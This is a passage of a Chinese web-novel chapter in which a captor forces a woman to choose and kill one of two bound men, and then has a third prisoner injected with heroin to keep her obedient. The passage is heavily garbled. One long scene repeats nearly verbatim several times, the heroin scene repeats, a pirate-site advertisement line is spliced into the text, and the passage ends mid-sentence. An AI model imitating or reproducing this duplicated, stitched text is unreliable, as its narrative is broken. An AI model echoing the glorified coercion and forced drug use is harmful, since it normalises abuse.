淡粉色的疤痕,绕着一圈淡白色的缝合痕迹。韩聿泽轻轻捏着她的腕骨,垂眸看着那道疤痕,拇指的指腹不断轻抚。静谧无声的卧室,突然响起来一声低吟。“江淮之,江淮之。”声声不断,格外清晰。她的声音嘶哑不堪,像一头呜咽的小兽。韩聿泽的动作猛然僵住,刹那间眼神变得深沉阴冷,手捏得紧了一些,微微颤抖。良久,韩聿泽吐出来一口浊气,他的手撑在床面,俯身凑到她耳边,低声咬牙:“阿,愿。”———次日,韩聿泽带姜梨出了门。雪停了,但是格外的冷。韩聿泽帮她戴了手套和帽子,围上了围巾,裹得极其严实。姜梨看向窗外,眼睫颤了一下。这是去半醒的路,他带她去半醒做什么?车子在门口停下,姜梨的右眼皮突然跳了一下,心里渐渐升腾起来浓浓的不安。韩聿泽带她上了二楼,进了这一层唯一的房间。开了暖气,有些热。他帮她把手套和围巾都取了下来,叠好放在了旁边。姜梨的手心出了一层冷汗,很凉。韩聿泽握住她的手,低笑,“害怕?”她把手抽了回来,想要出声问他来这里干什么,却发现喉咙很肿胀,舌头也跟被冻结住了一般,发不出一点声音。“别怕。”韩聿泽重新拉过她的手放在了唇边,亲了一下她手腕上的那条痕迹,“只是想让你见几位故人,缓解你的情绪,别再做这种让我难过的事情。”他说的温柔,但是姜梨看着他没有直达笑意的眼睛,从尾椎骨窜上来一股凉意直达头顶,头皮都有些发麻。这时,门突然被人推开。紧接着,两个冷着脸的男人押着一个被五花大绑的人进来了。 韩聿泽轻轻挥了挥手,那人头上的布袋被取了下来。看到熟悉的那张脸,姜梨的眼睛瞪大,忐忑不安的心一下子提到了嗓子眼。是……是司南衍。他的手被反绑在背后,被按着跪在地上,全身都是伤,狼狈不堪。姜梨扭头去看韩聿泽,眼神里是震惊和不解。为什么?为什么要这样对司南衍?韩聿泽笑,“因为他背叛我。”“在二月份就被江淮之收买,当了反贼。我去澳城的事情,就是他告诉给了警察。他藏的好深,跟我演兄弟情深演得好像,就差一点我就要被他害死了。”“他的演技比你好,但是没有你聪明。动点心思下个套,他就跳了。”“不过。”韩聿泽凑到姜梨耳边,“阿愿,他也选了江淮之,你说他是不是跟姜祈安一样该死?”还没等姜梨说什么,司南衍就笑了一声。他抬起头,看着那个男人,眼里是再也藏不住的恨意,“你压根不是我哥,我又谈何背叛?”韩聿泽没有理他,而是继续盯着姜梨。发现她脸上除了震惊之外就没有其他情绪,但是她的身体在抖,呼吸也很急促。她在紧张,在害怕。韩聿泽拿过茶几上放的一把匕首,拔掉刀鞘,递到姜梨手里,“他这么骗我,阿愿帮我报仇好不好?”刀被强硬的塞到姜梨手里,她想要丢掉,但是却不能。如果她不动手,韩聿泽这个变态一定会杀了司南衍。冰凉的刀现在好似被熔炉炙烤过,烫的姜梨手心都在疼。“看来阿愿是下不去手了。”韩聿泽嘴角的弧度小了一些,眼里的温度也降了不少,“那我们换一碟菜。”话音刚落,又一个人被带了进来。是楚卿然!姜梨“唰”的一下站了起来,惊愕不已的看着那个奄奄一息的男人。司南衍报信,楚卿然收到消息就去了澳城想抓韩聿泽。结果去了之后才发现中计了,根本没有什么交易,是韩聿泽布下的陷阱。损失惨重,只留 了两个活口。韩聿泽看着姜梨,轻飘飘的说:“二选一,杀一个,留一个。你不选,他们两个就都得死。”楚卿然比司南衍伤得重,他虚弱的连抬起眼皮的力气都没有,脸上青紫交错,血糊了满脸。姜梨哭了,她不想选,她想让他们都活。她说不出话,也哭不出声。手抖得连刀都拿不住,“咣当”一声掉在地上,姜梨也跪倒在了韩聿泽的面前。她抓住韩聿泽的裤腿,哀求他放过他们。“阿愿。”韩聿泽脸色彻底凉了下来,他微微倾身,“你再求下去,他们都活不成。你不选,我可就要替你选了。”“三。”“二。”姜梨抓着他裤腿的手骤然松开,重新捡起了掉在地上的刀,然后站了起来。一步一步走到司南衍和楚卿然面前。她低着头,牙齿咬的咯咯作响,眼泪不断从眼眶涌出来。十几秒的时间像一个世纪那么漫长。在她的刀刺下去的同时,男人凄厉的叫喊声响彻整个房间。“不要!!”韩聿泽轻轻挥了挥手,那人头上的布袋被取了下来。看到熟悉的那张脸,姜梨的眼睛瞪大,忐忑不安的心一下子提到了嗓子眼。是……是司南衍。他的手被反绑在背后,被按着跪在地上,全身都是伤,狼狈不堪。姜梨扭头去看韩聿泽,眼神里是震惊和不解。为什么?为什么要这样对司南衍?韩聿泽笑,“因为他背叛我。”“在二月份就被江淮之收买,当了反贼。我去澳城的事情,就是他告诉给了警察。他藏的好深,跟我演兄弟情深演得好像,就差一点我就要被他害死了。”“他的演技比你好,但是没有你聪明。动点心思下个套,他就跳了。”“不过。”韩聿泽凑到姜梨耳边,“阿愿,他也选了江淮之,你说他是不是跟姜祈安一样该死?”还没等姜梨说什么,司南衍就笑了一声。他抬起头,看着那个男人,眼里是再也藏不住的恨意,“你压根不是我哥,我又谈何背叛?”韩聿泽没有理他,而是继续盯着姜梨。发现她脸上除了震惊之外就没有其他情绪,但是她的身体在抖,呼吸也很急促。她在紧张,在害怕。韩聿泽拿过茶几上放的一把匕首,拔掉刀鞘,递到姜梨手里,“他这么骗我,阿愿帮我报仇好不好?”刀被强硬的塞到姜梨手里,她想要丢掉,但是却不能。如果她不动手,韩聿泽这个变态一定会杀了司南衍。冰凉的刀现在好似被熔炉炙烤过,烫的姜梨手心都在疼。“看来阿愿是下不去手了。”韩聿泽嘴角的弧度小了一些,眼里的温度也降了不少,“那我们换一碟菜。”话音刚落,又一个人被带了进来。是楚卿然!姜梨“唰”的一下站了起来,惊愕不已的看着那个奄奄一息的男人。司南衍报信,楚卿然收到消息就去了澳城想抓韩聿泽。结果去了之后才发现中计了,根本没有什么交易,是韩聿泽布下的陷阱。损失惨重,只留了两个活口。韩聿泽看着姜梨,轻飘飘的说:“二选一,杀一个,留一个。你不选,他们两个就都得死。”楚卿然比司南衍伤得重,他虚弱的连抬起眼皮的力气都没有,脸上青紫交错,血糊了满脸。姜梨哭了,她不想选,她想让他们都活。她说不出话,也哭不出声。手抖得连刀都拿不住,“咣当”一声掉在地上,姜梨也跪倒在了韩聿泽的面前。她抓住韩聿泽的裤腿,哀求他放过他们。“阿愿。”韩聿泽脸色彻底凉了下来,他微微倾身,“你再求下去,他们都活不成。你不选,我可就要替你选了。”“三。”“二。”姜梨抓着他裤腿的手骤然松开,重新捡起了掉在地上的刀,然后站了起来。一步一步走到司南衍和楚卿然面前。她低着头,牙齿咬的咯咯作响,眼泪不断从眼眶涌出来。十几秒的时间像一个世纪那么漫长。在她的刀刺下去的同时,男人凄厉的叫喊声响彻整个房间。“不要!!”韩聿泽轻轻挥了挥手,那人头上的布袋被取了下来。看到熟悉的那张脸,姜梨的眼睛瞪大,忐忑不安的心一下子提到了嗓子眼。是……是司南衍。他的手被反绑在背后,被按着跪在地上,全身都是伤,狼狈不堪。姜梨扭头去看韩聿泽,眼神里是震惊和不解。为什么?为什么要这样对司南衍?韩聿泽笑,“因为他背叛我。”“在二月份就被江淮之收买,当了反贼。我去澳城的事情,就是他告诉给了警察。他藏的好深,跟我演兄弟情深演得好像,就差一点我就要被他害死了。”“他的演技比你好,但是没有你聪明。动点心思下个套,他就跳了。”“不过。”韩聿泽凑到姜梨耳边,“阿愿,他也选了江淮之,你说他是不是跟姜祈安一样该死?”还没等姜梨说什么,司南衍就笑了一声。他抬起头,看着那个男人,眼里是再也藏不住的恨意,“你压根不是我哥,我又谈何背叛?”韩聿泽没有理他,而是继续盯着姜梨。发现她脸上除了震惊之外就没有其他情 绪,但是她的身体在抖,呼吸也很急促。她在紧张,在害怕。韩聿泽拿过茶几上放的一把匕首,拔掉刀鞘,递到姜梨手里,“他这么骗我,阿愿帮我报仇好不好?”刀被强硬的塞到姜梨手里,她想要丢掉,但是却不能。如果她不动手,韩聿泽这个变态一定会杀了司南衍。冰凉的刀现在好似被熔炉炙烤过,烫的姜梨手心都在疼。“看来阿愿是下不去手了。”韩聿泽嘴角的弧度小了一些,眼里的温度也降了不少,“那我们换一碟菜。”话音刚落,又一个人被带了进来。是楚卿然!姜梨“唰”的一下站了起来,惊愕不已的看着那个奄奄一息的男人。司南衍报信,楚卿然收到消息就去了澳城想抓韩聿泽。结果去了之后才发现中计了,根本没有什么交易,是韩聿泽布下的陷阱。损失惨重,只留了两个活口。韩聿泽看着姜梨,轻飘飘的说:“二选一,杀一个,留一个。你不选,他们两个就都得死。”楚卿然比司南衍伤得重,他虚弱的连抬起眼皮的力气都没有,脸上青紫交错,血糊了满脸。姜梨哭了,她不想选,她想让他们都活。她说不出话,也哭不出声。手抖得连刀都拿不住,“咣当”一声掉在地上,姜梨也跪倒在了韩聿泽的面前。她抓住韩聿泽的裤腿,哀求他放过他们。“阿愿。”韩聿泽脸色彻底凉了下来,他微微倾身,“你再求下去,他们都活不成。你不选,我可就要替你选了。”“三。”“二。”姜梨抓着他裤腿的手骤然松开,重新捡起了掉在地上的刀,然后站了起来。一步一步走到司南衍和楚卿然面前。她低着头,牙齿咬的咯咯作响,眼泪不断从眼眶涌出来。十几秒的时间像一个世纪那么漫长。在她的刀刺下去的同时,男人凄厉的叫喊声响彻整个房间。“不要!!”韩聿泽轻轻挥了挥手,那人头上的布袋被取了下来。看到熟悉的那张脸,姜梨的眼睛瞪大,忐忑不安的心一下子提到了嗓子眼。是……是司南衍。他的手被反绑在背后,被按着跪在地上,全身都是伤,狼狈不堪。姜梨扭头去看韩聿泽,眼神里是震惊和不解。为什么?为什么要这样对司南衍?韩聿泽笑,“因为他背叛我。”“在二月份就被江淮之收买,当了反贼。我去澳城的事情,就是他告诉给了警察。他藏的好深,跟我演兄弟情深演得好像,就差一点我就要被他害死了。”“他的演技比你好,但是没有你聪明。动点心思下个套,他就跳了。”“不过。”韩聿泽凑到姜梨耳边,“阿愿,他也选了江淮之,你说他是不是跟姜祈安一样该死?”还没等姜梨说什么,司南衍就笑了一声。他抬起头,看着那个男人,眼里是再也藏不住的恨意,“你压根不是我哥,我又谈何背叛?”韩聿泽没有理他,而是继续盯着姜梨。发现她脸上除了震惊之外就没有其他情绪,但是她的身体在抖,呼吸也很急促。她在紧张,在害怕。韩聿泽拿过茶几上放的一把匕首,拔掉刀鞘,递到姜梨手里,“他这么骗我,阿愿帮我报仇好不好?”刀被强硬的塞到姜梨手里,她想要丢掉,但是却不能。如果她不动手,韩聿泽这个变态一定会杀了司南衍。冰凉的刀现在好似被熔炉炙烤过,烫的姜梨手心都在疼。“看来阿愿是下不去手了。”韩聿泽嘴角的弧度小了一些,眼里的温度也降了不少,“那我们换一碟菜。”话音刚落,又一个人被带了进来。是楚卿然!姜梨“唰”的一下站了起来,惊愕不已的看着那个奄奄一息的男人。司南衍报信,楚卿然收到消息就去了澳城想抓韩聿泽。结果去了之后才发现中计了,根本没有什么交易,是韩聿泽布下的陷阱。损失惨重,只留了两个活口。韩聿泽看着姜梨,轻飘飘的说:“二选一,杀一个,留一个。你不选,他们两个就都得死。”楚卿然比司南衍伤得重,他虚弱的连抬起眼皮的力气都没有,脸上青紫交错,血糊了满脸。姜梨哭了,她不想选,她想让他们都活。她说不出话,也哭不出声。手抖得连刀都拿不住,“咣当”一声掉在地上,姜梨也跪倒在了韩聿泽的面前。她抓住韩聿泽的裤腿,哀求他放过他们。“阿愿。”韩聿泽脸色彻底凉了下来,他微微倾身,“你再求下去,他们都活不成。你不选,我可就要替你选了。”“三。”“二。”姜梨抓着他裤腿的手骤然松开,重新捡起了掉在地上的刀,然后站了起来。一步一步走到司南衍和楚卿然面前。她低着头,牙齿咬的咯咯作响,眼泪不断从眼眶涌出来。十几秒的时间像一个世纪那么漫长。在她的刀刺下去的同时,男人凄厉的叫喊声响彻整个房间。“不要!!”韩聿泽轻轻挥了挥手,那人头上的布袋被取了下来。看到熟悉的那张脸,姜梨的眼睛瞪大,忐忑不安的心一下子提到了嗓子眼。是……是司南衍。他 的手被反绑在背后,被按着跪在地上,全身都是伤,狼狈不堪。姜梨扭头去看韩聿泽,眼神里是震惊和不解。为什么?为什么要这样对司南衍?韩聿泽笑,“因为他背叛我。”“在二月份就被江淮之收买,当了反贼。我去澳城的事情,就是他告诉给了警察。他藏的好深,跟我演兄弟情深演得好像,就差一点我就要被他害死了。”“他的演技比你好,但是没有你聪明。动点心思下个套,他就跳了。”“不过。”韩聿泽凑到姜梨耳边,“阿愿,他也选了江淮之,你说他是不是跟姜祈安一样该死?”还没等姜梨说什么,司南衍就笑了一声。他抬起头,看着那个男人,眼里是再也藏不住的恨意,“你压根不是我哥,我又谈何背叛?”韩聿泽没有理他,而是继续盯着姜梨。发现她脸上除了震惊之外就没有其他情绪,但是她的身体在抖,呼吸也很急促。她在紧张,在害怕。韩聿泽拿过茶几上放的一把匕首,拔掉刀鞘,递到姜梨手里,“他这么骗我,阿愿帮我报仇好不好?”刀被强硬的塞到姜梨手里,她想要丢掉,但是却不能。如果她不动手,韩聿泽这个变态一定会杀了司南衍。冰凉的刀现在好似被熔炉炙烤过,烫的姜梨手心都在疼。“看来阿愿是下不去手了。”韩聿泽嘴角的弧度小了一些,眼里的温度也降了不少,“那我们换一碟菜。”话音刚落,又一个人被带了进来。是楚卿然!姜梨“唰”的一下站了起来,惊愕不已的看着那个奄奄一息的男人。司南衍报信,楚卿然收到消息就去了澳城想抓韩聿泽。结果去了之后才发现中计了,根本没有什么交易,是韩聿泽布下的陷阱。损失惨重,只留了两个活口。韩聿泽看着姜梨,轻飘飘的说:“二选一,杀一个,留一个。你不选,他们两个就都得死。”楚卿然比司南衍伤得重,他虚弱的连抬起眼皮的力气都没有,脸上青紫交错,血糊了满脸。姜梨哭了,她不想选,她想让他们都活。她说不出话,也哭不出声。手抖得连刀都拿不住,“咣当”一声掉在地上,姜梨也跪倒在了韩聿泽的面前。她抓住韩聿泽的裤腿,哀求他放过他们。“阿愿。”韩聿泽脸色彻底凉了下来,他微微倾身,“你再求下去,他们都活不成。你不选,我可就要替你选了。”“三。”“二。”姜梨抓着他裤腿的手骤然松开,重新捡起了掉在地上的刀,然后站了起来。一步一步走到司南衍和楚卿然面前。她低着头,牙齿咬的咯咯作响,眼泪不断从眼眶涌出来。十几秒的时间像一个世纪那么漫长。在她的刀刺下去的同时,男人凄厉的叫喊声响彻整个房间。“不要!!”韩聿泽轻轻挥了挥手,那人头上的布袋被取了下来。看到熟悉的那张脸,姜梨的眼睛瞪大,忐忑不安的心一下子提到了嗓子眼。是……是司南衍。他的手被反绑在背后,被按着跪在地上,全身都是伤,狼狈不堪。姜梨扭头去看韩聿泽,眼神里是震惊和不解。为什么?为什么要这样对司南衍?韩聿泽笑,“因为他背叛我。”“在二月份就被江淮之收买,当了反贼。我去澳城的事情,就是他告诉给了警察。他藏的好深,跟我演兄弟情深演得好像,就差一点我就要被他害死了。”“他的演技比你好,但是没有你聪明。动点心思下个套,他就跳了。”“不过。”韩聿泽凑到姜梨耳边,“阿愿,他也选了江淮之,你说他是不是跟姜祈安一样该死?”还没等姜梨说什么,司南衍就笑了一声。他抬起头,看着那个男人,眼里是再也藏不住的恨意,“你压根不是我哥,我又谈何背叛?”韩聿泽没有理他,而是继续盯着姜梨。发现她脸上除了震惊之外就没有其他情绪,但是她的身体在抖,呼吸也很急促。她在紧张,在害怕。韩聿泽拿过茶几上放的一把匕首,拔掉刀鞘,递到姜梨手里,“他这么骗我,阿愿帮我报仇好不好?”刀被强硬的塞到姜梨手里,她想要丢掉,但是却不能。如果她不动手,韩聿泽这个变态一定会杀了司南衍。冰凉的刀现在好似被熔炉炙烤过,烫的姜梨手心都在疼。“看来阿愿是下不去手了。”韩聿泽嘴角的弧度小了一些,眼里的温度也降了不少,“那我们换一碟菜。”话音刚落,又一个人被带了进来。是楚卿然!姜梨“唰”的一下站了起来,惊愕不已的看着那个奄奄一息的男人。司南衍报信,楚卿然收到消息就去了澳城想抓韩聿泽。结果去了之后才发现中计了,根本没有什么交易,是韩聿泽布下的陷阱。损失惨重,只留了两个活口。韩聿泽看着姜梨,轻飘飘的说:“二选一,杀一个,留一个。你不选,他们两个就都得死。”楚卿然比司南衍伤得重,他虚弱的连抬起眼皮的力气都没有,脸上青紫交错,血糊了满脸。姜梨哭了,她不想选,她想让他们都活。她说不出话,也哭不出声。手抖得连刀都拿 不住,“咣当”一声掉在地上,姜梨也跪倒在了韩聿泽的面前。她抓住韩聿泽的裤腿,哀求他放过他们。“阿愿。”韩聿泽脸色彻底凉了下来,他微微倾身,“你再求下去,他们都活不成。你不选,我可就要替你选了。”“三。”“二。”姜梨抓着他裤腿的手骤然松开,重新捡起了掉在地上的刀,然后站了起来。一步一步走到司南衍和楚卿然面前。她低着头,牙齿咬的咯咯作响,眼泪不断从眼眶涌出来。十几秒的时间像一个世纪那么漫长。在她的刀刺下去的同时,男人凄厉的叫喊声响彻整个房间。“不要!!”韩聿泽轻轻挥了挥手,那人头上的布袋被取了下来。看到熟悉的那张脸,姜梨的眼睛瞪大,忐忑不安的心一下子提到了嗓子眼。是……是司南衍。他的手被反绑在背后,被按着跪在地上,全身都是伤,狼狈不堪。姜梨扭头去看韩聿泽,眼神里是震惊和不解。为什么?为什么要这样对司南衍?韩聿泽笑,“因为他背叛我。”“在二月份就被江淮之收买,当了反贼。我去澳城的事情,就是他告诉给了警察。他藏的好深,跟我演兄弟情深演得好像,就差一点我就要被他害死了。”“他的演技比你好,但是没有你聪明。动点心思下个套,他就跳了。”“不过。”韩聿泽凑到姜梨耳边,“阿愿,他也选了江淮之,你说他是不是跟姜祈安一样该死?”还没等姜梨说什么,司南衍就笑了一声。他抬起头,看着那个男人,眼里是再也藏不住的恨意,“你压根不是我哥,我又谈何背叛?”韩聿泽没有理他,而是继续盯着姜梨。发现她脸上除了震惊之外就没有其他情绪,但是她的身体在抖,呼吸也很急促。她在紧张,在害怕。韩聿泽拿过茶几上放的一把匕首,拔掉刀鞘,递到姜梨手里,“他这么骗我,阿愿帮我报仇好不好?”刀被强硬的塞到姜梨手里,她想要丢掉,但是却不能。如果她不动手,韩聿泽这个变态一定会杀了司南衍。冰凉的刀现在好似被熔炉炙烤过,烫的姜梨手心都在疼。“看来阿愿是下不去手了。”韩聿泽嘴角的弧度小了一些,眼里的温度也降了不少,“那我们换一碟菜。”话音刚落,又一个人被带了进来。是楚卿然!姜梨“唰”的一下站了起来,惊愕不已的看着那个奄奄一息的男人。司南衍报信,楚卿然收到消息就去了澳城想抓韩聿泽。结果去了之后才发现中计了,根本没有什么交易,是韩聿泽布下的陷阱。损失惨重,只留了两个活口。韩聿泽看着姜梨,轻飘飘的说:“二选一,杀一个,留一个。你不选,他们两个就都得死。”楚卿然比司南衍伤得重,他虚弱的连抬起眼皮的力气都没有,脸上青紫交错,血糊了满脸。姜梨哭了,她不想选,她想让他们都活。她说不出话,也哭不出声。手抖得连刀都拿不住,“咣当”一声掉在地上,姜梨也跪倒在了韩聿泽的面前。她抓住韩聿泽的裤腿,哀求他放过他们。“阿愿。”韩聿泽脸色彻底凉了下来,他微微倾身,“你再求下去,他们都活不成。你不选,我可就要替你选了。”“三。”“二。”姜梨抓着他裤腿的手骤然松开,重新捡起了掉在地上的刀,然后站了起来。一步一步走到司南衍和楚卿然面前。她低着头,牙齿咬的咯咯作响,眼泪不断从眼眶涌出来。十几秒的时间像一个世纪那么漫长。在她的刀刺下去的同时,男人凄厉的叫喊声响彻整个房间。“不要!!”韩聿泽轻轻挥了挥手,那人头上的布袋被取了下来。看到熟悉的那张脸,姜梨的眼睛瞪大,忐忑不安的心一下子提到了嗓子眼。是……是司南衍。他的手被反绑在背后,被按着跪在地上,全身都是伤,狼狈不堪。姜梨扭头去看韩聿泽,眼神里是震惊和不解。为什么?为什么要这样对司南衍?韩聿泽笑,“因为他背叛我。”“在二月份就被江淮之收买,当了反贼。我去澳城的事情,就是他告诉给了警察。他藏的好深,跟我演兄弟情深演得好像,就差一点我就要被他害死了。”“他的演技比你好,但是没有你聪明。动点心思下个套,他就跳了。”“不过。”韩聿泽凑到姜梨耳边,“阿愿,他也选了江淮之,你说他是不是跟姜祈安一样该死?”还没等姜梨说什么,司南衍就笑了一声。他抬起头,看着那个男人,眼里是再也藏不住的恨意,“你压根不是我哥,我又谈何背叛?”韩聿泽没有理他,而是继续盯着姜梨。发现她脸上除了震惊之外就没有其他情绪,但是她的身体在抖,呼吸也很急促。她在紧张,在害怕。韩聿泽拿过茶几上放的一把匕首,拔掉刀鞘,递到姜梨手里,“他这么骗我,阿愿帮我报仇好不好?”刀被强硬的塞到姜梨手里,她想要丢掉,但是却不能。如果她不动手,韩聿泽这个变态一定会杀了司南衍。冰凉的刀现 在好似被熔炉炙烤过,烫的姜梨手心都在疼。“看来阿愿是下不去手了。”韩聿泽嘴角的弧度小了一些,眼里的温度也降了不少,“那我们换一碟菜。”话音刚落,又一个人被带了进来。是楚卿然!姜梨“唰”的一下站了起来,惊愕不已的看着那个奄奄一息的男人。司南衍报信,楚卿然收到消息就去了澳城想抓韩聿泽。结果去了之后才发现中计了,根本没有什么交易,是韩聿泽布下的陷阱。损失惨重,只留了两个活口。韩聿泽看着姜梨,轻飘飘的说:“二选一,杀一个,留一个。你不选,他们两个就都得死。”楚卿然比司南衍伤得重,他虚弱的连抬起眼皮的力气都没有,脸上青紫交错,血糊了满脸。姜梨哭了,她不想选,她想让他们都活。她说不出话,也哭不出声。手抖得连刀都拿不住,“咣当”一声掉在地上,姜梨也跪倒在了韩聿泽的面前。她抓住韩聿泽的裤腿,哀求他放过他们。“阿愿。”韩聿泽脸色彻底凉了下来,他微微倾身,“你再求下去,他们都活不成。你不选,我可就要替你选了。”“三。”“二。”姜梨抓着他裤腿的手骤然松开,重新捡起了掉在地上的刀,然后站了起来。一步一步走到司南衍和楚卿然面前。她低着头,牙齿咬的咯咯作响,眼泪不断从眼眶涌出来。十几秒的时间像一个世纪那么漫长。在她的刀刺下去的同时,男人凄厉的叫喊声响彻整个房间。“不要!!” 第226章 乖一点吧阿愿 喷涌出来的温热液体溅在了司南衍的脸上,他抬眸,不可置信的看着姜梨。免费看书就搜:你阅读 姜梨选了楚卿然,一刀封喉。她怎么会选楚卿然,她怎么能选楚卿然!楚卿然的身体向前倒去,姜梨接住他,瘫软的跪倒在地,眼泪如泉涌。她的手掌摸着楚卿然的脸,唇瓣一张一合,无声的一遍遍对他说:“对不起,对不起……”韩聿泽对这个结果也很意外。楚卿然是姜梨的亲表哥,而司南衍跟她非亲非故,她最后居然选了自己的亲人去死。司南衍扭头看向坐在沙发上云淡风轻的男人,滔天的恨意此刻像翻腾起来的海啸,“韩、聿、泽!!”他想要爬起来,守着的保镖一脚踹在了他身上,扯住他的头发,拿出一把黑枪抵在了他的太阳穴,“老实一点!”楚卿然的眼睛缓缓闭上,没了生气。“呕!”极度的愤怒让她的身体有了强烈的应激反应,胃部黏膜受到刺激,导致姜梨呕出来一口血。林遥死的时候,她也出现过这种症状。韩聿泽的心口一条,快步走到她身边,将她从地上抱了起来。姜梨的眼睛很红,她死死揪住韩聿泽的衣领,让他放过司南衍。韩聿泽读懂她的情绪,回答:“答应你的,我会做到。”说完让人把司南衍带了下去,他则是把姜梨送去了医院。检查下来没有问题,才把她带回司宅。姜梨的手机和电脑没有被收走,夏栎给她发了很多条信息,她只回了一句话。拜托她管好姜氏。其他的所有问题她都没有回答。她抱膝缩在床上,脑子里想的都是楚卿然。那时楚卿然的体内已经被注射了违禁品,还有其他各种不知名的试剂,他已经命不久矣。楚卿然让姜梨选他,保司南衍。一刀封喉,干脆又利落,没有让他受苦。姜梨痛苦的闭上眼睛,脸埋进膝盖里,无声无息的大哭,哭到晕厥。又过了两天,韩聿泽再次把姜梨带去了半醒。她坐在他身边,身体紧绷。和那天的情景一样,司南衍被带了进来,他身上的伤比前两天要多,但好在没有致命伤,也没有被注射违禁品。韩聿泽捏住姜梨的手,她下意识抖了一下。“今天我们不玩二选一,不要害怕。”韩聿泽在她手心里放了一个注射器。姜梨看着那个东西脑海里瞬间闪过几帧零碎的画面,她的手掌突然感觉到密密麻麻的疼,头皮也是一阵发麻。她知道这是什么,在电影里看到过。姜梨脸色发白,想也不想的就把东西扔到了一边,然后迅速的和韩聿泽拉开了距离,恨不得离他百米远。 他敢叫她吸毒,她就撞墙死在这里。韩聿泽叹了口气,不由分说的将她扯了回来,“阿愿,我不会害你。”约莫一分钟,门被推开。保镖带着一个人走了进来,随之飘过来一股血腥味。保镖掐着男人的脖子,极其粗暴的将他摁倒在了地上。肉体重重的砸在地面,发出沉闷的声响。“嗡——”的一声,姜梨耳边嗡嗡作响,脑子里一片空白。被按在地上的人是谢鹤扬。他穿着的衣服已经被血浸透,如果不是那双眼睛,姜梨甚至都认不出来他是谁。怎么回事?谢鹤扬明明在元旦那天才跟她见过面,为什么会被抓?!“不要用这么凶的眼神看我。”韩聿泽对上姜梨的眼睛,缓缓说:“三年前,你和谢鹤扬在港城被人围剿的时候我看在你的份上已经饶过他一回了。”那一次姜梨受了重伤,谢鹤扬如果死了,姜梨也就没救了。最后是他通知了姜祈安,告知了具体地址,端掉了港城的第一个据点。如果不是他开后门,就算谢鹤扬和姜梨有天大的本事也没用,早就被干掉了。“车祸那一次救走你的人也是他。他救了你,所以我就又放过了他一次。”“阿愿,事不过三。”韩聿泽笑了笑,将注射器再次放到了她手里,“乖,打完我们就回家。”姜梨看着他,眼泪不受控制的往外涌。但眼里没有哀求,就连恨意和怒火都没有。过了五分钟,她握着注射器站了起来,一步一步走过去。越走近,血腥味就越重。“梨妹……”谢鹤扬的声音很低,弱得几乎要听不见。姜梨握着注射器的手抖的厉害。眼前的景象从扭曲模糊再到清晰,反复交替,她的头痛的很厉害,感觉自己的灵魂好似出窍了。突然,脑中模糊不清的一段记忆逐渐清晰。阴暗不见光的卧室,年少的江淮之坐在地上,手里拿着的,是已经空了的注射器。姜梨瞳孔缩了一下,身体僵在原地。看她迟迟不下手,韩聿泽突然站了起来。也就是在这个时候,姜梨“咻”的一下站了起来。她攥紧注射器,针头直直的朝着身后的韩聿泽刺了过去。一整套动作行云流水,速度极快。谢鹤扬看到这个情形,也立马挣扎着要爬起来。保镖一惊,用力摁住他,“老实点!”韩聿泽一把捏住姜梨的手腕,绕了一圈,反手扣住她的肩膀,将人锁在了怀里。他的视线瞥 向地上憋红了脸的谢鹤扬,凑到姜梨耳边,“这是你第二次因为别的男人伤我。”姜梨的后背贴着他坚实的胸膛动弹不得,她气的全身都在抖,呼吸又粗又重。韩聿泽把姜梨手里的注射器扔给了保镖。谢鹤扬还是被强行注射了海洛因。原本在挣扎的谢鹤扬像是被人按了暂停键,一动不动。韩聿泽招了招手,谢鹤扬就如同死尸一般被拖了出去。“别激动,他没死。”感受到姜梨的情绪激动,开始不断的挣扎,韩聿泽对她说:“像刚刚那样的行为,我都会把账算在他的身上。”他闭上眼睛,头埋在姜梨的颈窝。“你乖一点,他们就能活的久一点。”“乖一点吧阿愿。”他敢叫她吸毒,她就撞墙死在这里。韩聿泽叹了口气,不由分说的将她扯了回来,“阿愿,我不会害你。”约莫一分钟,门被推开。保镖带着一个人走了进来,随之飘过来一股血腥味。保镖掐着男人的脖子,极其粗暴的将他摁倒在了地上。肉体重重的砸在地面,发出沉闷的声响。“嗡——”的一声,姜梨耳边嗡嗡作响,脑子里一片空白。被按在地上的人是谢鹤扬。他穿着的衣服已经被血浸透,如果不是那双眼睛,姜梨甚至都认不出来他是谁。怎么回事?谢鹤扬明明在元旦那天才跟她见过面,为什么会被抓?!“不要用这么凶的眼神看我。”韩聿泽对上姜梨的眼睛,缓缓说:“三年前,你和谢鹤扬在港城被人围剿的时候我看在你的份上已经饶过他一回了。”那一次姜梨受了重伤,谢鹤扬如果死了,姜梨也就没救了。最后是他通知了姜祈安,告知了具体地址,端掉了港城的第一个据点。如果不是他开后门,就算谢鹤扬和姜梨有天大的本事也没用,早就被干掉了。“车祸那一次救走你的人也是他。他救了你,所以我就又放过了他一次。”“阿愿,事不过三。”韩聿泽笑了笑,将注射器再次放到了她手里,“乖,打完我们就回家。”姜梨看着他,眼泪不受控制的往外涌。但眼里没有哀求,就连恨意和怒火都没有。过了五分钟,她握着注射器站了起来,一步一步走过去。越走近,血腥味就越重。“梨妹……”谢鹤扬的声音很低,弱得几乎要听不见。姜梨握着注射器的手抖的厉害。眼前的景象从扭曲模糊再到清晰,反复交替,她的头痛的很厉害,感觉自己的灵魂好似出窍了。突然,脑中模糊不清的一段记忆逐渐清晰。阴暗不见光的卧室,年少的江淮之坐在地上,手里拿着的,是已经空了的注射器。姜梨瞳孔缩了一下,身体僵在原地。看她迟迟不下手,韩聿泽突然站了起来。也就是在这个时候,姜梨“咻”的一下站了起来。她攥紧注射器,针头直直的朝着身后的韩聿泽刺了过去。一整套动作行云流水,速度极快。谢鹤扬看到这个情形,也立马挣扎着要爬起来。保镖一惊,用力摁住他,“老实点!”韩聿泽一把捏住姜梨的手腕,绕了一圈,反手扣住她的肩膀,将人锁在了怀里。他的视线瞥向地上憋红了脸的谢鹤扬,凑到姜梨耳边,“这是你第二次因为别的男人伤我。”姜梨的后背贴着他坚实的胸膛动弹不得,她气的全身都在抖,呼吸又粗又重。韩聿泽把姜梨手里的注射器扔给了保镖。谢鹤扬还是被强行注射了海洛因。原本在挣扎的谢鹤扬像是被人按了暂停键,一动不动。韩聿泽招了招手,谢鹤扬就如同死尸一般被拖了出去。“别激动,他没死。”感受到姜梨的情绪激动,开始不断的挣扎,韩聿泽对她说:“像刚刚那样的行为,我都会把账算在他的身上。”他闭上眼睛,头埋在姜梨的颈窝。“你乖一点,他们就能活的久一点。”“乖一点吧阿愿。”他敢叫她吸毒,她就撞墙死在这里。韩聿泽叹了口气,不由分说的将她扯了回来,“阿愿,我不会害你。”约莫一分钟,门被推开。保镖带着一个人走了进来,随之飘过来一股血腥味。保镖掐着男人的